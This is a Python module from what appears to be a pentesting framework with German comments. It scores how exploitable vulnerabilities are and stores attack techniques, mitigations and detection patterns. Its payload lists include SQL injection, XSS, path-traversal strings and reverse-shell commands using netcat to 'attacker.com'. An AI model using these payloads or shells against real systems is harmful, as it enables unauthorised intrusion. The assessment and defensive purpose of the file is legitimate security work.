Buckets:
AnonymousSpottedToad/candidate_bucket / codebase /python /SHAdd0WTAka_Zen-Ai-Pentest /analysis_bot /engines /exploitability_checker.py
| """ | |
| Zen-Ai-Pentest AnalysisBot - Exploitability Checker Module | |
| ========================================================== | |
| Exploitability-Assessment-Modul für das Zen-Ai-Pentest Framework. | |
| Autor: AnalysisBot | |
| Version: 1.0.0 (2026) | |
| """ | |
| import json | |
| import logging | |
| from dataclasses import asdict, dataclass, field | |
| from datetime import datetime, timezone | |
| from enum import Enum | |
| from typing import Any, Dict, List, Optional, Tuple | |
| logger = logging.getLogger(__name__) | |
| class ExploitabilityLevel(Enum): | |
| """Level der Exploitierbarkeit""" | |
| TRIVIAL = "trivial" # Keine Fähigkeiten erforderlich | |
| EASY = "easy" # Grundlegende Fähigkeiten | |
| MODERATE = "moderate" # Einige technische Fähigkeiten | |
| DIFFICULT = "difficult" # Fortgeschrittene Fähigkeiten | |
| COMPLEX = "complex" # Experten-Fähigkeiten | |
| THEORETICAL = "theoretical" # Nur theoretisch möglich | |
| class ExploitType(Enum): | |
| """Arten von Exploits""" | |
| REMOTE_CODE_EXECUTION = "remote_code_execution" | |
| LOCAL_PRIVILEGE_ESCALATION = "local_privilege_escalation" | |
| SQL_INJECTION = "sql_injection" | |
| COMMAND_INJECTION = "command_injection" | |
| XSS = "cross_site_scripting" | |
| CSRF = "csrf" | |
| PATH_TRAVERSAL = "path_traversal" | |
| BUFFER_OVERFLOW = "buffer_overflow" | |
| USE_AFTER_FREE = "use_after_free" | |
| RACE_CONDITION = "race_condition" | |
| INFORMATION_DISCLOSURE = "information_disclosure" | |
| DENIAL_OF_SERVICE = "denial_of_service" | |
| AUTHENTICATION_BYPASS = "authentication_bypass" | |
| AUTHORIZATION_BYPASS = "authorization_bypass" | |
| SESSION_HIJACKING = "session_hijacking" | |
| MAN_IN_THE_MIDDLE = "man_in_the_middle" | |
| DEFAULT_CREDENTIALS = "default_credentials" | |
| KNOWN_EXPLOIT = "known_exploit" | |
| ZERO_DAY = "zero_day" | |
| CONFIGURATION_ERROR = "configuration_error" | |
| class ExploitSource(Enum): | |
| """Quellen von Exploit-Informationen""" | |
| EXPLOIT_DB = "exploit_db" | |
| METASPLOIT = "metasploit" | |
| GITHUB = "github" | |
| PACKETSTORM = "packetstorm" | |
| SECURITY_FOCUS = "security_focus" | |
| VULNERABILITY_LAB = "vulnerability_lab" | |
| ZERO_DAY_INITIATIVE = "zero_day_initiative" | |
| NVD = "nvd" | |
| CISA_KEV = "cisa_kev" | |
| THREAT_INTEL = "threat_intel" | |
| CUSTOM = "custom" | |
| class ExploitReference: | |
| """Referenz auf einen verfügbaren Exploit""" | |
| source: ExploitSource | |
| url: str | |
| title: str = "" | |
| publication_date: Optional[datetime] = None | |
| verified: bool = False | |
| reliability_score: float = 0.0 # 0-1 | |
| def to_dict(self) -> Dict[str, Any]: | |
| return { | |
| "source": self.source.value, | |
| "url": self.url, | |
| "title": self.title, | |
| "publication_date": (self.publication_date.isoformat() if self.publication_date else None), | |
| "verified": self.verified, | |
| "reliability_score": self.reliability_score, | |
| } | |
| class ExploitTechnique: | |
| """Exploit-Technik mit Details""" | |
| name: str | |
| description: str | |
| prerequisites: List[str] = field(default_factory=list) | |
| steps: List[str] = field(default_factory=list) | |
| tools_required: List[str] = field(default_factory=list) | |
| success_indicators: List[str] = field(default_factory=list) | |
| cleanup_steps: List[str] = field(default_factory=list) | |
| def to_dict(self) -> Dict[str, Any]: | |
| return asdict(self) | |
| class ExploitabilityAssessment: | |
| """Ergebnis eines Exploitability-Assessments""" | |
| # Bewertung | |
| level: ExploitabilityLevel | |
| score: float # 0-10, höher = einfacher zu exploitieren | |
| confidence: float # 0-1 | |
| # Details | |
| exploit_type: ExploitType | |
| attack_vector: str # Network, Adjacent, Local, Physical | |
| attack_complexity: str # Low, High | |
| privileges_required: str # None, Low, High | |
| user_interaction: str # None, Required | |
| # Exploit-Verfügbarkeit | |
| exploit_available: bool | |
| exploit_references: List[ExploitReference] = field(default_factory=list) | |
| exploit_maturity: str = "unproven" # unproven, proof_of_concept, functional, high | |
| # Technische Details | |
| techniques: List[ExploitTechnique] = field(default_factory=list) | |
| payloads: List[str] = field(default_factory=list) | |
| # Metadaten | |
| assessed_at: datetime = field(default_factory=lambda: datetime.now(timezone.utc)) | |
| assessed_by: str = "ExploitabilityChecker" | |
| version: str = "1.0.0" | |
| # Zusätzliche Informationen | |
| mitigations: List[str] = field(default_factory=list) | |
| detection_methods: List[str] = field(default_factory=list) | |
| def to_dict(self) -> Dict[str, Any]: | |
| return { | |
| "level": self.level.value, | |
| "score": self.score, | |
| "confidence": self.confidence, | |
| "exploit_type": self.exploit_type.value, | |
| "attack_vector": self.attack_vector, | |
| "attack_complexity": self.attack_complexity, | |
| "privileges_required": self.privileges_required, | |
| "user_interaction": self.user_interaction, | |
| "exploit_available": self.exploit_available, | |
| "exploit_maturity": self.exploit_maturity, | |
| "exploit_references": [ref.to_dict() for ref in self.exploit_references], | |
| "techniques": [tech.to_dict() for tech in self.techniques], | |
| "payloads": self.payloads, | |
| "mitigations": self.mitigations, | |
| "detection_methods": self.detection_methods, | |
| "assessed_at": self.assessed_at.isoformat(), | |
| "assessed_by": self.assessed_by, | |
| "version": self.version, | |
| } | |
| class ExploitDatabase: | |
| """Datenbank bekannter Exploits und Techniken""" | |
| # Bekannte Exploit-Muster | |
| EXPLOIT_PATTERNS = { | |
| ExploitType.SQL_INJECTION: { | |
| "detection_patterns": [ | |
| r"(\bUNION\s+SELECT\b.*?--)", | |
| r"(\bOR\s+['\"]?1['\"]?\s*=\s*['\"]?1['\"]?)", | |
| r"(\bSLEEP\s*\(\s*\d+\s*\))", | |
| r"(\bWAITFOR\s+DELAY\s+['\"]\d+:\d+:\d+['\"])", | |
| ], | |
| "exploit_techniques": [ | |
| ExploitTechnique( | |
| name="Union-based SQL Injection", | |
| description="Nutzt UNION SELECT um Daten aus der Datenbank zu extrahieren", | |
| prerequisites=[ | |
| "SQL Injection Punkt identifiziert", | |
| "UNION SELECT erlaubt", | |
| ], | |
| steps=[ | |
| "Bestimme die Anzahl der Spalten mit ORDER BY", | |
| "Finde die position der String-Spalten", | |
| "Extrahiere Datenbank-Version mit @@version", | |
| "Extrahiere Tabellennamen aus information_schema", | |
| "Extrahiere sensible Daten", | |
| ], | |
| tools_required=["sqlmap", "Burp Suite", "Browser"], | |
| success_indicators=[ | |
| "Datenbank-Fehlermeldungen", | |
| "Extrahierte Daten", | |
| ], | |
| ), | |
| ExploitTechnique( | |
| name="Time-based Blind SQL Injection", | |
| description="Nutzt Zeitverzögerungen um Daten zu extrahieren", | |
| prerequisites=[ | |
| "SQL Injection Punkt identifiziert", | |
| "Zeitfunktionen verfügbar", | |
| ], | |
| steps=[ | |
| "Teste auf Zeitverzögerung mit SLEEP()", | |
| "Extrahiere Daten bit für bit", | |
| "Verwende bedingte Zeitverzögerungen", | |
| ], | |
| tools_required=["sqlmap", "custom scripts"], | |
| success_indicators=["Messbare Zeitverzögerungen"], | |
| ), | |
| ], | |
| "payloads": [ | |
| "' OR '1'='1' --", | |
| "' UNION SELECT null, null, null --", | |
| "' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --", | |
| "1' AND 1=1 --", | |
| "1' AND 1=2 --", | |
| ], | |
| }, | |
| ExploitType.XSS: { | |
| "detection_patterns": [ | |
| r"(<script>.*?</script>)", | |
| r"(javascript:.*?\()", | |
| r"(on\w+\s*=\s*['\"]?.*?\()", | |
| r"(<img\s+src\s*=\s*['\"]?.*?onerror\s*=)", | |
| ], | |
| "exploit_techniques": [ | |
| ExploitTechnique( | |
| name="Reflected XSS", | |
| description="XSS-Payload wird in der Response reflektiert", | |
| prerequisites=[ | |
| "Eingabe wird in Response ausgegeben", | |
| "Keine Output-Encoding", | |
| ], | |
| steps=[ | |
| "Identifiziere Eingabeparameter", | |
| "Teste mit einfachem <script>alert(1)</script>", | |
| "Umgehe Filter mit Encoding", | |
| "Erstelle funktionalen Exploit", | |
| ], | |
| tools_required=["Browser", "Burp Suite"], | |
| success_indicators=["JavaScript-Ausführung", "Alert-Box"], | |
| ), | |
| ExploitTechnique( | |
| name="Stored XSS", | |
| description="XSS-Payload wird persistent gespeichert", | |
| prerequisites=[ | |
| "Eingabe wird gespeichert", | |
| "Andere Benutzer sehen die Ausgabe", | |
| ], | |
| steps=[ | |
| "Identifiziere Speicher-Mechanismus", | |
| "Injiziere Payload", | |
| "Warte auf Ausführung durch andere Benutzer", | |
| ], | |
| tools_required=["Browser", "Burp Suite"], | |
| success_indicators=[ | |
| "Payload in Datenbank gespeichert", | |
| "Ausführung bei anderen", | |
| ], | |
| ), | |
| ], | |
| "payloads": [ | |
| "<script>alert('XSS')</script>", | |
| "<img src=x onerror=alert('XSS')>", | |
| "<svg onload=alert('XSS')>", | |
| "javascript:alert('XSS')", | |
| "<body onload=alert('XSS')>", | |
| ], | |
| }, | |
| ExploitType.COMMAND_INJECTION: { | |
| "detection_patterns": [ | |
| r"(;\s*\w+.*?;)", | |
| r"(\|\s*\w+.*?\|)", | |
| r"(&&\s*\w+.*?&&)", | |
| r"(\$\(.*?\))", | |
| r"(`.*?`)", | |
| ], | |
| "exploit_techniques": [ | |
| ExploitTechnique( | |
| name="OS Command Injection", | |
| description="Fügt OS-Befehle in unsichere Systemaufrufe ein", | |
| prerequisites=[ | |
| "Benutzereingabe in Systemaufruf", | |
| "Keine Input-Validierung", | |
| ], | |
| steps=[ | |
| "Identifiziere Eingabeparameter", | |
| "Teste mit ;whoami oder |whoami", | |
| "Eskaliere zu vollständigen Befehlen", | |
| "Etabliere Reverse Shell", | |
| ], | |
| tools_required=["netcat", "Burp Suite"], | |
| success_indicators=[ | |
| "Befehlsausgabe in Response", | |
| "Reverse Shell", | |
| ], | |
| ), | |
| ], | |
| "payloads": [ | |
| "; whoami", | |
| "| whoami", | |
| "&& whoami", | |
| "$(whoami)", | |
| "`whoami`", | |
| "; nc -e /bin/sh attacker.com 4444", | |
| ], | |
| }, | |
| ExploitType.PATH_TRAVERSAL: { | |
| "detection_patterns": [ | |
| r"(\.\./\.\./)", | |
| r"(\.\.\\\.\.\\)", | |
| r"(%2e%2e%2f)", | |
| r"(\.\.\.\.\.\.\/)", | |
| ], | |
| "exploit_techniques": [ | |
| ExploitTechnique( | |
| name="Directory Traversal", | |
| description="Zugriff auf Dateien außerhalb des Web-Roots", | |
| prerequisites=[ | |
| "Datei-Parameter manipulierbar", | |
| "Keine Pfad-Validierung", | |
| ], | |
| steps=[ | |
| "Identifiziere Datei-Parameter", | |
| "Teste mit ../../../etc/passwd", | |
| "Versuche verschiedene Encodings", | |
| "Extrahiere sensible Dateien", | |
| ], | |
| tools_required=["Burp Suite", "Browser"], | |
| success_indicators=[ | |
| "Datei-Inhalt in Response", | |
| "Error-Messages", | |
| ], | |
| ), | |
| ], | |
| "payloads": [ | |
| "../../../etc/passwd", | |
| "....//....//....//etc/passwd", | |
| "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", | |
| "..\\..\\..\\windows\\win.ini", | |
| ], | |
| }, | |
| ExploitType.REMOTE_CODE_EXECUTION: { | |
| "detection_patterns": [ | |
| r"(eval\s*\(.*\$)", | |
| r"(assert\s*\(.*\$)", | |
| r"(system\s*\(.*\$)", | |
| r"(exec\s*\(.*\$)", | |
| r"(passthru\s*\(.*\$)", | |
| ], | |
| "exploit_techniques": [ | |
| ExploitTechnique( | |
| name="PHP Code Injection", | |
| description="Ausführung beliebigen PHP-Codes", | |
| prerequisites=[ | |
| "Benutzereingabe in eval/assert", | |
| "Keine Input-Validierung", | |
| ], | |
| steps=[ | |
| "Identifiziere Code-Injection Punkt", | |
| "Teste mit phpinfo()", | |
| "Eskaliere zu System-Befehlen", | |
| "Etabliere persistenten Zugriff", | |
| ], | |
| tools_required=["Burp Suite", "Browser"], | |
| success_indicators=["Code-Ausführung", "System-Zugriff"], | |
| ), | |
| ], | |
| "payloads": [ | |
| "${system('whoami')}", | |
| "phpinfo()", | |
| "system('nc -e /bin/sh attacker.com 4444')", | |
| "eval($_GET['cmd'])", | |
| ], | |
| }, | |
| } | |
| # CISA KEV (Known Exploited Vulnerabilities) - Beispiele | |
| CISA_KEV = { | |
| "CVE-2021-44228": { # Log4Shell | |
| "vendor": "Apache", | |
| "product": "Log4j", | |
| "vulnerability": "Remote Code Execution", | |
| "action": "Apply patches immediately", | |
| "date_added": "2021-12-10", | |
| }, | |
| "CVE-2021-34527": { # PrintNightmare | |
| "vendor": "Microsoft", | |
| "product": "Windows Print Spooler", | |
| "vulnerability": "Privilege Escalation", | |
| "action": "Apply patches immediately", | |
| "date_added": "2021-07-07", | |
| }, | |
| } | |
| def get_exploit_patterns(cls, exploit_type: ExploitType) -> Dict[str, Any]: | |
| """Gibt Exploit-Muster für einen Typ zurück""" | |
| return cls.EXPLOIT_PATTERNS.get(exploit_type, {}) | |
| def check_cisa_kev(cls, cve_id: str) -> Optional[Dict]: | |
| """Prüft ob CVE in CISA KEV Liste ist""" | |
| return cls.CISA_KEV.get(cve_id) | |
| class ExploitabilityChecker: | |
| """ | |
| Exploitability-Assessment-Engine. | |
| Features: | |
| - Exploit-Verfügbarkeits-Check | |
| - Technische Exploitierbarkeits-Analyse | |
| - Payload-Generierung | |
| - MITRE ATT&CK Mapping | |
| - Exploit-Technik-Datenbank | |
| """ | |
| def __init__(self): | |
| self.assessment_history: List[Dict] = [] | |
| self.exploit_db = ExploitDatabase() | |
| def assess_vulnerability(self, vulnerability: Dict[str, Any]) -> ExploitabilityAssessment: | |
| """ | |
| Bewertet die Exploitierbarkeit einer Schwachstelle. | |
| Args: | |
| vulnerability: Schwachstellen-Dictionary | |
| Returns: | |
| ExploitabilityAssessment | |
| """ | |
| # Bestimme Exploit-Typ | |
| exploit_type = self._determine_exploit_type(vulnerability) | |
| # Prüfe auf bekannte Exploits | |
| exploit_available = False | |
| exploit_references = [] | |
| exploit_maturity = "unproven" | |
| cve_id = vulnerability.get("cve_id") | |
| if cve_id: | |
| exploit_available, exploit_references, exploit_maturity = self._check_known_exploits(cve_id) | |
| # Analysiere technische Exploitierbarkeit | |
| tech_analysis = self._analyze_technical_exploitability(vulnerability, exploit_type) | |
| # Berechne Score | |
| score = self._calculate_exploitability_score(exploit_type, exploit_available, exploit_maturity, tech_analysis) | |
| # Bestimme Level | |
| level = self._score_to_level(score) | |
| # Erstelle Assessment | |
| assessment = ExploitabilityAssessment( | |
| level=level, | |
| score=score, | |
| confidence=tech_analysis.get("confidence", 0.7), | |
| exploit_type=exploit_type, | |
| attack_vector=tech_analysis.get("attack_vector", "Network"), | |
| attack_complexity=tech_analysis.get("attack_complexity", "Low"), | |
| privileges_required=tech_analysis.get("privileges_required", "None"), | |
| user_interaction=tech_analysis.get("user_interaction", "None"), | |
| exploit_available=exploit_available, | |
| exploit_references=exploit_references, | |
| exploit_maturity=exploit_maturity, | |
| techniques=tech_analysis.get("techniques", []), | |
| payloads=tech_analysis.get("payloads", []), | |
| mitigations=tech_analysis.get("mitigations", []), | |
| detection_methods=tech_analysis.get("detection_methods", []), | |
| ) | |
| # Historie speichern | |
| self.assessment_history.append( | |
| { | |
| "timestamp": datetime.now(timezone.utc).isoformat(), | |
| "vulnerability_id": vulnerability.get("id"), | |
| "score": score, | |
| "level": level.value, | |
| } | |
| ) | |
| return assessment | |
| def check_exploit_availability(self, cve_id: str) -> Dict[str, Any]: | |
| """ | |
| Prüft die Verfügbarkeit von Exploits für eine CVE. | |
| Args: | |
| cve_id: CVE-ID | |
| Returns: | |
| Dictionary mit Exploit-Informationen | |
| """ | |
| result = { | |
| "cve_id": cve_id, | |
| "exploit_available": False, | |
| "sources": [], | |
| "maturity": "unknown", | |
| "reliability": 0.0, | |
| } | |
| # CISA KEV Check | |
| cisa_info = self.exploit_db.check_cisa_kev(cve_id) | |
| if cisa_info: | |
| result["exploit_available"] = True | |
| result["sources"].append( | |
| { | |
| "source": "CISA_KEV", | |
| "info": cisa_info, | |
| } | |
| ) | |
| result["maturity"] = "functional" | |
| result["reliability"] = 0.9 | |
| # Weitere Checks würden hier folgen (Exploit-DB, Metasploit, etc.) | |
| return result | |
| def generate_payload(self, exploit_type: ExploitType, target_info: Dict[str, Any]) -> List[str]: | |
| """ | |
| Generiert Payloads für einen Exploit-Typ. | |
| Args: | |
| exploit_type: Typ des Exploits | |
| target_info: Informationen über das Ziel | |
| Returns: | |
| Liste von Payloads | |
| """ | |
| patterns = self.exploit_db.get_exploit_patterns(exploit_type) | |
| base_payloads = patterns.get("payloads", []) | |
| # Passe Payloads an Ziel an | |
| customized_payloads = [] | |
| for payload in base_payloads: | |
| # Füge Ziel-spezifische Anpassungen hinzu | |
| if "{{TARGET}}" in payload: | |
| payload = payload.replace("{{TARGET}}", target_info.get("target", "")) | |
| customized_payloads.append(payload) | |
| return customized_payloads or base_payloads | |
| def get_exploit_techniques(self, exploit_type: ExploitType) -> List[ExploitTechnique]: | |
| """Gibt verfügbare Exploit-Techniken zurück""" | |
| patterns = self.exploit_db.get_exploit_patterns(exploit_type) | |
| return patterns.get("exploit_techniques", []) | |
| def map_to_mitre_attack(self, exploit_type: ExploitType) -> List[str]: | |
| """ | |
| Mappt Exploit-Typ zu MITRE ATT&CK Techniken. | |
| Args: | |
| exploit_type: Typ des Exploits | |
| Returns: | |
| Liste von MITRE ATT&CK Technique IDs | |
| """ | |
| mapping = { | |
| ExploitType.SQL_INJECTION: ["T1190", "T1098"], | |
| ExploitType.XSS: ["T1189", "T1059.007"], | |
| ExploitType.COMMAND_INJECTION: ["T1059", "T1203"], | |
| ExploitType.REMOTE_CODE_EXECUTION: ["T1203", "T1059"], | |
| ExploitType.PATH_TRAVERSAL: ["T1083", "T1082"], | |
| ExploitType.LOCAL_PRIVILEGE_ESCALATION: ["T1068", "T1078"], | |
| ExploitType.AUTHENTICATION_BYPASS: ["T1078", "T1552"], | |
| ExploitType.INFORMATION_DISCLOSURE: ["T1082", "T1083"], | |
| ExploitType.DENIAL_OF_SERVICE: ["T1498", "T1499"], | |
| } | |
| return mapping.get(exploit_type, []) | |
| def estimate_exploit_time(self, exploit_type: ExploitType, skill_level: str = "intermediate") -> Dict[str, Any]: | |
| """ | |
| Schätzt die Zeit für die Exploit-Entwicklung/-Ausführung. | |
| Args: | |
| exploit_type: Typ des Exploits | |
| skill_level: Skill-Level (beginner, intermediate, advanced, expert) | |
| Returns: | |
| Zeit-Schätzung | |
| """ | |
| base_times = { | |
| ExploitType.SQL_INJECTION: { | |
| "recon": 30, | |
| "exploit": 60, | |
| "post": 30, | |
| }, | |
| ExploitType.XSS: {"recon": 15, "exploit": 30, "post": 15}, | |
| ExploitType.COMMAND_INJECTION: { | |
| "recon": 30, | |
| "exploit": 45, | |
| "post": 30, | |
| }, | |
| ExploitType.PATH_TRAVERSAL: { | |
| "recon": 20, | |
| "exploit": 30, | |
| "post": 20, | |
| }, | |
| ExploitType.REMOTE_CODE_EXECUTION: { | |
| "recon": 60, | |
| "exploit": 120, | |
| "post": 60, | |
| }, | |
| ExploitType.LOCAL_PRIVILEGE_ESCALATION: { | |
| "recon": 120, | |
| "exploit": 180, | |
| "post": 60, | |
| }, | |
| } | |
| skill_multipliers = { | |
| "beginner": 2.0, | |
| "intermediate": 1.0, | |
| "advanced": 0.6, | |
| "expert": 0.3, | |
| } | |
| times = base_times.get(exploit_type, {"recon": 60, "exploit": 120, "post": 60}) | |
| multiplier = skill_multipliers.get(skill_level, 1.0) | |
| return { | |
| "reconnaissance_minutes": int(times["recon"] * multiplier), | |
| "exploitation_minutes": int(times["exploit"] * multiplier), | |
| "post_exploitation_minutes": int(times["post"] * multiplier), | |
| "total_minutes": int(sum(times.values()) * multiplier), | |
| "skill_level": skill_level, | |
| "exploit_type": exploit_type.value, | |
| } | |
| def get_mitigations(self, exploit_type: ExploitType) -> List[str]: | |
| """Gibt Mitigation-Strategien für einen Exploit-Typ zurück""" | |
| mitigations = { | |
| ExploitType.SQL_INJECTION: [ | |
| "Verwende Prepared Statements/Parameterized Queries", | |
| "Implementiere Input-Validierung", | |
| "Verwende ORM-Frameworks", | |
| "Prinzip der minimalen Privilegien für DB-User", | |
| "Aktiviere SQL Injection Detection in WAF", | |
| ], | |
| ExploitType.XSS: [ | |
| "Implementiere Content Security Policy (CSP)", | |
| "Verwende Output-Encoding", | |
| "Validiere und sanitisiere alle Eingaben", | |
| "Verwende X-XSS-Protection Header", | |
| "Implementiere HttpOnly Cookie-Flag", | |
| ], | |
| ExploitType.COMMAND_INJECTION: [ | |
| "Vermeide OS-Systemaufrufe mit Benutzereingaben", | |
| "Verwende sichere APIs statt Shell-Befehle", | |
| "Implementiere strikte Input-Validierung", | |
| "Verwende Whitelist-Ansatz", | |
| ], | |
| ExploitType.PATH_TRAVERSAL: [ | |
| "Validiere und normalisiere Pfade", | |
| "Verwende Whitelist für erlaubte Dateien", | |
| "Chroot-Jails oder Container-Isolation", | |
| "Implementiere Zugriffskontrollen", | |
| ], | |
| ExploitType.REMOTE_CODE_EXECUTION: [ | |
| "Deaktiviere gefährliche Funktionen (eval, exec)", | |
| "Implementiere Input-Validierung", | |
| "Verwende Sandboxing", | |
| "Aktiviere Application Whitelisting", | |
| ], | |
| } | |
| return mitigations.get(exploit_type, ["Implementiere Defense in Depth"]) | |
| def _determine_exploit_type(self, vulnerability: Dict[str, Any]) -> ExploitType: | |
| """Bestimmt den Exploit-Typ aus der Schwachstelle""" | |
| category = vulnerability.get("category", "").lower() | |
| name = vulnerability.get("name", "").lower() | |
| description = vulnerability.get("description", "").lower() | |
| type_mapping = { | |
| "sql_injection": ExploitType.SQL_INJECTION, | |
| "xss": ExploitType.XSS, | |
| "cross_site_scripting": ExploitType.XSS, | |
| "command_injection": ExploitType.COMMAND_INJECTION, | |
| "code_execution": ExploitType.REMOTE_CODE_EXECUTION, | |
| "path_traversal": ExploitType.PATH_TRAVERSAL, | |
| "buffer_overflow": ExploitType.BUFFER_OVERFLOW, | |
| "authentication": ExploitType.AUTHENTICATION_BYPASS, | |
| "authorization": ExploitType.AUTHORIZATION_BYPASS, | |
| "information_disclosure": ExploitType.INFORMATION_DISCLOSURE, | |
| "denial_of_service": ExploitType.DENIAL_OF_SERVICE, | |
| } | |
| for key, exploit_type in type_mapping.items(): | |
| if key in category or key in name or key in description: | |
| return exploit_type | |
| return ExploitType.KNOWN_EXPLOIT | |
| def _check_known_exploits(self, cve_id: str) -> Tuple[bool, List[ExploitReference], str]: | |
| """Prüft auf bekannte Exploits""" | |
| available = False | |
| references = [] | |
| maturity = "unproven" | |
| # CISA KEV | |
| cisa_info = self.exploit_db.check_cisa_kev(cve_id) | |
| if cisa_info: | |
| available = True | |
| maturity = "functional" | |
| references.append( | |
| ExploitReference( | |
| source=ExploitSource.CISA_KEV, | |
| url="https://www.cisa.gov/known-exploited-vulnerabilities-catalog", | |
| title=f"CISA KEV: {cve_id}", | |
| verified=True, | |
| reliability_score=0.95, | |
| ) | |
| ) | |
| # Weitere Quellen würden hier geprüft werden | |
| return available, references, maturity | |
| def _analyze_technical_exploitability(self, vulnerability: Dict[str, Any], exploit_type: ExploitType) -> Dict[str, Any]: | |
| """Analysiert die technische Exploitierbarkeit""" | |
| patterns = self.exploit_db.get_exploit_patterns(exploit_type) | |
| analysis = { | |
| "attack_vector": "Network", | |
| "attack_complexity": "Low", | |
| "privileges_required": "None", | |
| "user_interaction": "None", | |
| "confidence": 0.7, | |
| "techniques": patterns.get("exploit_techniques", []), | |
| "payloads": patterns.get("payloads", []), | |
| "mitigations": self.get_mitigations(exploit_type), | |
| "detection_methods": self._get_detection_methods(exploit_type), | |
| } | |
| # Passe basierend auf Schwachstellen-Details an | |
| cvss_vector = vulnerability.get("cvss_vector", "") | |
| if cvss_vector: | |
| if "AV:L" in cvss_vector: | |
| analysis["attack_vector"] = "Local" | |
| elif "AV:A" in cvss_vector: | |
| analysis["attack_vector"] = "Adjacent" | |
| elif "AV:P" in cvss_vector: | |
| analysis["attack_vector"] = "Physical" | |
| if "AC:H" in cvss_vector: | |
| analysis["attack_complexity"] = "High" | |
| if "PR:L" in cvss_vector: | |
| analysis["privileges_required"] = "Low" | |
| elif "PR:H" in cvss_vector: | |
| analysis["privileges_required"] = "High" | |
| if "UI:R" in cvss_vector: | |
| analysis["user_interaction"] = "Required" | |
| return analysis | |
| def _calculate_exploitability_score( | |
| self, | |
| exploit_type: ExploitType, | |
| exploit_available: bool, | |
| exploit_maturity: str, | |
| tech_analysis: Dict, | |
| ) -> float: | |
| """Berechnet den Exploitability-Score""" | |
| base_score = 5.0 | |
| # Exploit-Typ Faktor | |
| type_scores = { | |
| ExploitType.SQL_INJECTION: 9.0, | |
| ExploitType.REMOTE_CODE_EXECUTION: 9.5, | |
| ExploitType.COMMAND_INJECTION: 9.0, | |
| ExploitType.XSS: 7.0, | |
| ExploitType.PATH_TRAVERSAL: 7.5, | |
| ExploitType.BUFFER_OVERFLOW: 8.0, | |
| ExploitType.AUTHENTICATION_BYPASS: 8.5, | |
| } | |
| base_score = type_scores.get(exploit_type, 5.0) | |
| # Exploit-Verfügbarkeit | |
| if exploit_available: | |
| base_score += 1.0 | |
| # Exploit-Maturity | |
| maturity_multipliers = { | |
| "high": 1.2, | |
| "functional": 1.1, | |
| "proof_of_concept": 1.0, | |
| "unproven": 0.8, | |
| } | |
| base_score *= maturity_multipliers.get(exploit_maturity, 1.0) | |
| # Technische Faktoren | |
| if tech_analysis.get("attack_complexity") == "Low": | |
| base_score += 0.5 | |
| if tech_analysis.get("privileges_required") == "None": | |
| base_score += 0.5 | |
| if tech_analysis.get("user_interaction") == "None": | |
| base_score += 0.5 | |
| return min(10, base_score) | |
| def _score_to_level(self, score: float) -> ExploitabilityLevel: | |
| """Konvertiert Score zu Level""" | |
| if score >= 9: | |
| return ExploitabilityLevel.TRIVIAL | |
| elif score >= 7: | |
| return ExploitabilityLevel.EASY | |
| elif score >= 5: | |
| return ExploitabilityLevel.MODERATE | |
| elif score >= 3: | |
| return ExploitabilityLevel.DIFFICULT | |
| elif score >= 1: | |
| return ExploitabilityLevel.COMPLEX | |
| else: | |
| return ExploitabilityLevel.THEORETICAL | |
| def _get_detection_methods(self, exploit_type: ExploitType) -> List[str]: | |
| """Gibt Detektions-Methoden zurück""" | |
| methods = { | |
| ExploitType.SQL_INJECTION: [ | |
| "WAF-Logs auf SQL-Schlüsselwörter prüfen", | |
| "Datenbank-Error-Monitoring", | |
| "Anomale Query-Muster erkennen", | |
| "IDS/Signaturen für SQLi", | |
| ], | |
| ExploitType.XSS: [ | |
| "WAF-Logs auf Script-Tags prüfen", | |
| "Content Security Policy Violations", | |
| "Anomale JavaScript-Ausführung", | |
| ], | |
| ExploitType.COMMAND_INJECTION: [ | |
| "System-Call-Monitoring", | |
| "Prozess-Erstellungs-Logs", | |
| "Shell-Befehls-Detection", | |
| ], | |
| } | |
| return methods.get(exploit_type, ["Allgemeine Anomalie-Detection"]) | |
| def check_exploitability(self, vulnerability) -> Dict: | |
| """Alias for assess_vulnerability.""" | |
| result = self.assess_vulnerability(vulnerability) | |
| if hasattr(result, "to_dict"): | |
| return result.to_dict() | |
| return result | |
| # Singleton-Instanz | |
| _checker = None | |
| def get_exploitability_checker() -> ExploitabilityChecker: | |
| """Gibt die Singleton-Instanz zurück""" | |
| global _checker | |
| if _checker is None: | |
| _checker = ExploitabilityChecker() | |
| return _checker | |
| if __name__ == "__main__": | |
| # Demo/Test | |
| checker = ExploitabilityChecker() | |
| test_vuln = { | |
| "id": "VULN-001", | |
| "name": "SQL Injection in Login Form", | |
| "category": "sql_injection", | |
| "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", | |
| "cve_id": "CVE-2021-44228", | |
| } | |
| assessment = checker.assess_vulnerability(test_vuln) | |
| print("Exploitability Assessment:") | |
| print(json.dumps(assessment.to_dict(), indent=2, default=str)) | |
| # Payload-Generierung | |
| payloads = checker.generate_payload(ExploitType.SQL_INJECTION, {"target": "localhost"}) | |
| print("\nGenerated Payloads:") | |
| for payload in payloads: | |
| print(f" - {payload}") | |
Xet Storage Details
- Size:
- 32.6 kB
- Xet hash:
- 0143243ccff21cf805e2cd63e0d411357c464358e2462140764dfb11c4d3913e
·
Xet efficiently stores files, intelligently splitting them into unique chunks and accelerating uploads and downloads. More info.